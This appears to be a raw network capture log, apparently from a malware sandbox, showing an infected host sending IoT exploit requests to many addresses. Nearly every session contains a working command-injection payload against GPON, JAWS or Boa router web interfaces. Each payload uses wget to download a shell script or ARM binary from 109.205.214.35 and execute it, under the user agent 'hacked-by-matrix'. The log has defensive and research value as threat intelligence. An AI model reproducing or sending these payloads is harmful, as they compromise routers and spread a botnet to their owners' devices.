XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
427	192.168.2.23	59260	5.21.238.52	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:42.072367907 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
428	192.168.2.23	45762	37.74.16.40	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:42.072367907 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
429	192.168.2.23	56854	37.124.16.53	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:42.072388887 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
430	192.168.2.23	52424	212.8.202.65	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:42.072407007 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
431	192.168.2.23	53426	210.96.241.50	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:42.072408915 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
432	192.168.2.23	48480	109.139.99.254	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:42.072432995 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
433	192.168.2.23	45054	5.159.81.164	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:42.072489977 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
434	192.168.2.23	41078	212.226.142.128	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:42.072525978 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
435	192.168.2.23	44190	5.19.66.85	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:42.072531939 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
436	192.168.2.23	53752	178.125.121.149	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:42.072567940 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
437	192.168.2.23	54986	118.87.135.22	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:42.072580099 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
438	192.168.2.23	51494	37.103.48.75	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:42.072598934 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
439	192.168.2.23	38198	196.242.84.108	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:42.666868925 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:25:42.849312067 CET	413	IN	HTTP/1.0 407 Proxy Authentication Required Proxy-Authenticate: Basic realm="login" Connection: close Content-type: text/html; charset=utf-8 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 37 20 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 34 30 37 20 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 3c 2f 68 32 3e 3c 68 33 3e 41 63 63 65 73 73 20 74 6f 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 64 69 73 61 6c 6c 6f 77 65 64 20 62 79 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 6f 72 20 79 6f 75 20 6e 65 65 64 20 76 61 6c 69 64 20 75 73 65 72 6e 61 6d 65 2f 70 61 73 73 77 6f 72 64 20 74 6f 20 75 73 65 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 3c 2f 68 33 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>407 Proxy Authentication Required</title></head><body><h2>407 Proxy Authentication Required</h2><h3>Access to requested resource disallowed by administrator or you need valid username/password to use this resource</h3></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
440	192.168.2.23	45072	23.220.199.215	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:42.857959986 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:25:44.373575926 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:25:44.711951971 CET	438	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 216 Expires: Thu, 21 Mar 2024 04:25:44 GMT Date: Thu, 21 Mar 2024 04:25:44 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 50 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 37 26 23 34 36 3b 63 31 38 61 34 35 63 62 26 23 34 36 3b 31 37 31 30 39 39 35 31 34 34 26 23 34 36 3b 30 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Bad Request</TITLE></HEAD><BODY><H1>Bad Request</H1>Your browser sent a request that this server could not understand.<P>Reference #7.c18a45cb.1710995144.0</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
441	192.168.2.23	35326	181.143.174.50	1723

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:43.949985027 CET	282	OUT	GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:25:44.520296097 CET	282	OUT	GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
442	192.168.2.23	33008	107.23.24.185	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:44.993963957 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:25:45.557518005 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
443	192.168.2.23	55456	79.143.110.179	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:45.081856012 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
444	192.168.2.23	57848	2.220.26.126	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:45.081896067 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
445	192.168.2.23	49074	212.201.54.81	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:45.081908941 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
446	192.168.2.23	41786	5.172.56.162	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:45.081938028 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
447	192.168.2.23	48374	79.75.149.66	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:45.081953049 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
448	192.168.2.23	38684	94.11.88.162	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:45.081976891 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
449	192.168.2.23	36190	210.68.123.53	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:45.082011938 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
450	192.168.2.23	41302	212.219.76.28	443

Timestamp	Bytes transferred	Direction	Data
